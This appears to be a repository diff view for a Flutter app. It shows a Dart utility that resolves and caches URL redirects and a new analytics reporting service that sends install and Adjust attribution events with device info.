||||
|
||||
Future<String> getRedirect(String url) async {
|
||||
try {
|
||||
final res = await headRequest(url);
|
||||
|
||||
if (res == null) {
|
||||
return url;
|
||||
}
|
||||
|
||||
debugPrint(
|
||||
"[RedirectResolver] head $url "
|
||||
"status=${res.statusCode} "
|
||||
"redirected=${res.redirected} "
|
||||
"location=${res.location}",
|
||||
);
|
||||
|
||||
if (res.redirected && res.location != null) {
|
||||
try {
|
||||
return Uri.parse(url).resolve(res.location!).toString();
|
||||
} catch (_) {
|
||||
return res.location!;
|
||||
}
|
||||
}
|
||||
|
||||
return url;
|
||||
} catch (_) {
|
||||
return url;
|
||||
}
|
||||
}
|
||||
|
||||
Future<String?> resolveWithRetry(String originUrl) async {
|
||||
for (int i = 0; i < 3; i++) {
|
||||
final redirect = await getRedirect(originUrl);
|
||||
|
||||
if (redirect == originUrl) {
|
||||
return originUrl;
|
||||
}
|
||||
|
||||
if (await canConnect(redirect)) {
|
||||
return redirect;
|
||||
}
|
||||
|
||||
if (i < 2) {
|
||||
await sleep(100);
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
Future<String> resolveRedirectUrl(String originUrl) async {
|
||||
try {
|
||||
final prefs = await SharedPreferences.getInstance();
|
||||
|
||||
final cacheOrigin = prefs.getString(SP_ORIGIN);
|
||||
final cacheResolved = prefs.getString(SP_RESOLVED);
|
||||
|
||||
if (originUrl == cacheOrigin && cacheResolved != null) {
|
||||
if (await canConnect(cacheResolved)) {
|
||||
return cacheResolved;
|
||||
}
|
||||
}
|
||||
|
||||
final resolved = await resolveWithRetry(originUrl);
|
||||
|
||||
if (resolved != null) {
|
||||
await prefs.setString(SP_ORIGIN, originUrl);
|
||||
await prefs.setString(SP_RESOLVED, resolved);
|
||||
return resolved;
|
||||
}
|
||||
|
||||
return originUrl;
|
||||
} catch (_) {
|
||||
return originUrl;
|
||||
}
|
||||
}
|
||||
import 'dart:async';
|
||||
import 'dart:io';
|
||||
import 'package:flutter/widgets.dart';
|
||||
import 'package:shared_preferences/shared_preferences.dart';
|
||||
|
||||
const spOrigin = "redirect_cache_origin";
|
||||
const spResolved = "redirect_cache_resolved";
|
||||
|
||||
Future<void> sleep(int ms) async {
|
||||
await Future.delayed(Duration(milliseconds: ms));
|
||||
}
|
||||
|
||||
class HeadResult {
|
||||
final int statusCode;
|
||||
final bool redirected;
|
||||
final String? location;
|
||||
|
||||
HeadResult(this.statusCode, this.redirected, this.location);
|
||||
}
|
||||
|
||||
Future<HeadResult?> headRequest(String url) async {
|
||||
try {
|
||||
final client = HttpClient();
|
||||
final request = await client.openUrl("HEAD", Uri.parse(url));
|
||||
|
||||
request.followRedirects = false;
|
||||
request.headers.set("Cache-Control", "no-cache");
|
||||
request.headers.set("Pragma", "no-cache");
|
||||
|
||||
final response = await request.close();
|
||||
|
||||
final location = response.headers.value(HttpHeaders.locationHeader);
|
||||
|
||||
final redirected = response.statusCode >= 300 && response.statusCode < 400;
|
||||
|
||||
return HeadResult(response.statusCode, redirected, location);
|
||||
} catch (e) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
Future<bool> canConnect(String url) async {
|
||||
try {
|
||||
final res = await headRequest(url);
|
||||
return res != null;
|
||||
} catch (_) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
Future<String> getRedirect(String url) async {
|
||||
try {
|
||||
final res = await headRequest(url);
|
||||
|
||||
if (res == null) {
|
||||
return url;
|
||||
}
|
||||
|
||||
debugPrint(
|
||||
"[RedirectResolver] head $url "
|
||||
"status=${res.statusCode} "
|
||||
"redirected=${res.redirected} "
|
||||
"location=${res.location}",
|
||||
);
|
||||
|
||||
if (res.redirected && res.location != null) {
|
||||
try {
|
||||
return Uri.parse(url).resolve(res.location!).toString();
|
||||
} catch (_) {
|
||||
return res.location!;
|
||||
}
|
||||
}
|
||||
|
||||
return url;
|
||||
} catch (_) {
|
||||
return url;
|
||||
}
|
||||
}
|
||||
|
||||
Future<String?> resolveWithRetry(String originUrl) async {
|
||||
for (int i = 0; i < 3; i++) {
|
||||
final redirect = await getRedirect(originUrl);
|
||||
|
||||
if (redirect == originUrl) {
|
||||
return originUrl;
|
||||
}
|
||||
|
||||
if (await canConnect(redirect)) {
|
||||
return redirect;
|
||||
}
|
||||
|
||||
if (i < 2) {
|
||||
await sleep(100);
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
Future<String> resolveRedirectUrl(String originUrl) async {
|
||||
try {
|
||||
final prefs = await SharedPreferences.getInstance();
|
||||
|
||||
final cacheOrigin = prefs.getString(spOrigin);
|
||||
final cacheResolved = prefs.getString(spResolved);
|
||||
|
||||
if (originUrl == cacheOrigin && cacheResolved != null) {
|
||||
if (await canConnect(cacheResolved)) {
|
||||
return cacheResolved;
|
||||
}
|
||||
}
|
||||
|
||||
final resolved = await resolveWithRetry(originUrl);
|
||||
|
||||
if (resolved != null) {
|
||||
await prefs.setString(spOrigin, originUrl);
|
||||
await prefs.setString(spResolved, resolved);
|
||||
return resolved;
|
||||
}
|
||||
|
||||
return originUrl;
|
||||
} catch (_) {
|
||||
return originUrl;
|
||||
}
|
||||
}
|
||||
|
||||
126
lib/utils/report.dart
Normal file
126
lib/utils/report.dart
Normal file
@@ -0,0 +1,126 @@
|
||||
import 'dart:convert';
|
||||
|
||||
import 'package:adjust_sdk/adjust.dart';
|
||||
import 'package:adjust_sdk/adjust_attribution.dart';
|
||||
import 'package:flutter/cupertino.dart';
|
||||
import 'package:shared_preferences/shared_preferences.dart';
|
||||
|
||||
import 'device_info.dart';
|
||||
import 'http_util.dart';
|
||||
|
||||
const String _installSentKey = 'report_install_sent';
|
||||
const String _attributionSentKey = 'report_attribution_sent';
|
||||
|
||||
class ReportService {
|
||||
ReportService._();
|
||||
static final ReportService I = ReportService._();
|
||||
|
||||
String adjustId = '';
|
||||
AdjustAttribution? _attribution;
|
||||
AdjustAttribution? get attribution => _attribution;
|
||||
Map<String, String> _attributionMap = {};
|
||||
set attribution(AdjustAttribution? a) {
|
||||
_attribution = a;
|
||||
_attributionMap = getAttributionMap();
|
||||
}
|
||||
|
||||
void report(String eventName, Map<String, dynamic>? params) {
|
||||
sendReportAsync(eventName, params)
|
||||
.then((_) => debugPrint('Report sent successfully $eventName'))
|
||||
.catchError((error) {
|
||||
debugPrint('Failed to send report: $error');
|
||||
});
|
||||
}
|
||||
|
||||
void reportInstall() {
|
||||
_sendDedupedReport(
|
||||
'install',
|
||||
_installSentKey,
|
||||
null,
|
||||
).then((_) => debugPrint('Report install finished')).catchError((error) {
|
||||
debugPrint('Failed to send install report: $error');
|
||||
});
|
||||
}
|
||||
|
||||
void reportAttribution() {
|
||||
if (_attribution == null) {
|
||||
debugPrint('Attribution data is null, skipping attribution report');
|
||||
return;
|
||||
}
|
||||
_sendDedupedReport('attribution', _attributionSentKey, {})
|
||||
.then((_) => debugPrint('Report attribution finished'))
|
||||
.catchError((error) {
|
||||
debugPrint('Failed to send attribution report: $error');
|
||||
});
|
||||
}
|
||||
|
||||
Future<void> sendReportAsync(
|
||||
String eventName,
|
||||
Map<String, dynamic>? params,
|
||||
) async {
|
||||
if (eventName.isEmpty) {
|
||||
debugPrint('Event name is empty, skipping report');
|
||||
return;
|
||||
}
|
||||
await _sendReport(eventName, params);
|
||||
}
|
||||
|
||||
Future<void> _sendDedupedReport(
|
||||
String eventName,
|
||||
String sentKey,
|
||||
Map<String, dynamic>? params,
|
||||
) async {
|
||||
final prefs = await SharedPreferences.getInstance();
|
||||
final alreadySent = prefs.getBool(sentKey) == true;
|
||||
if (alreadySent) {
|
||||
debugPrint('$eventName report already sent, skipping');
|
||||
return;
|
||||
}
|
||||
|
||||
await _sendReport(eventName, params);
|
||||
await prefs.setBool(sentKey, true);
|
||||
}
|
||||
|
||||
Future<void> _sendReport(
|
||||
String eventName,
|
||||
Map<String, dynamic>? params,
|
||||
) async {
|
||||
final deviceInfo = await DeviceInfo.I.deviceInfo(includeAdjust: false);
|
||||
Map<String, dynamic> reportData = {
|
||||
'event': eventName,
|
||||
'params': params ?? {},
|
||||
'attribution': _attributionMap,
|
||||
'deviceInfo': deviceInfo,
|
||||
};
|
||||
if (_attribution != null) {
|
||||
// 如果 attribution 不为 null,尝试获取 adjustAdid
|
||||
try {
|
||||
final adjustAdid = await Adjust.getAdidWithTimeout(1000);
|
||||
reportData['adjustAdid'] = adjustAdid;
|
||||
} catch (e) {
|
||||
debugPrint('Failed to get Adjust Adid: $e');
|
||||
}
|
||||
}
|
||||
// 这里可以将 reportData 发送到服务器或者日志系统
|
||||
debugPrint('Report: $reportData');
|
||||
await reportInfo(jsonEncode(reportData));
|
||||
}
|
||||
|
||||
Map<String, String> getAttributionMap() {
|
||||
if (_attribution == null) return {};
|
||||
return {
|
||||
'trackerToken': _attribution!.trackerToken ?? '',
|
||||
'trackerName': _attribution!.trackerName ?? '',
|
||||
'network': _attribution!.network ?? '',
|
||||
'campaign': _attribution!.campaign ?? '',
|
||||
'adgroup': _attribution!.adgroup ?? '',
|
||||
'creative': _attribution!.creative ?? '',
|
||||
'clickLabel': _attribution!.clickLabel ?? '',
|
||||
'costType': _attribution!.costType ?? '',
|
||||
'costAmount': _attribution!.costAmount?.toString() ?? '',
|
||||
'costCurrency': _attribution!.costCurrency ?? '',
|
||||
'jsonResponse': _attribution!.jsonResponse ?? '',
|
||||
'fbInstallReferrer': _attribution!.fbInstallReferrer ?? '',
|
||||
};
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user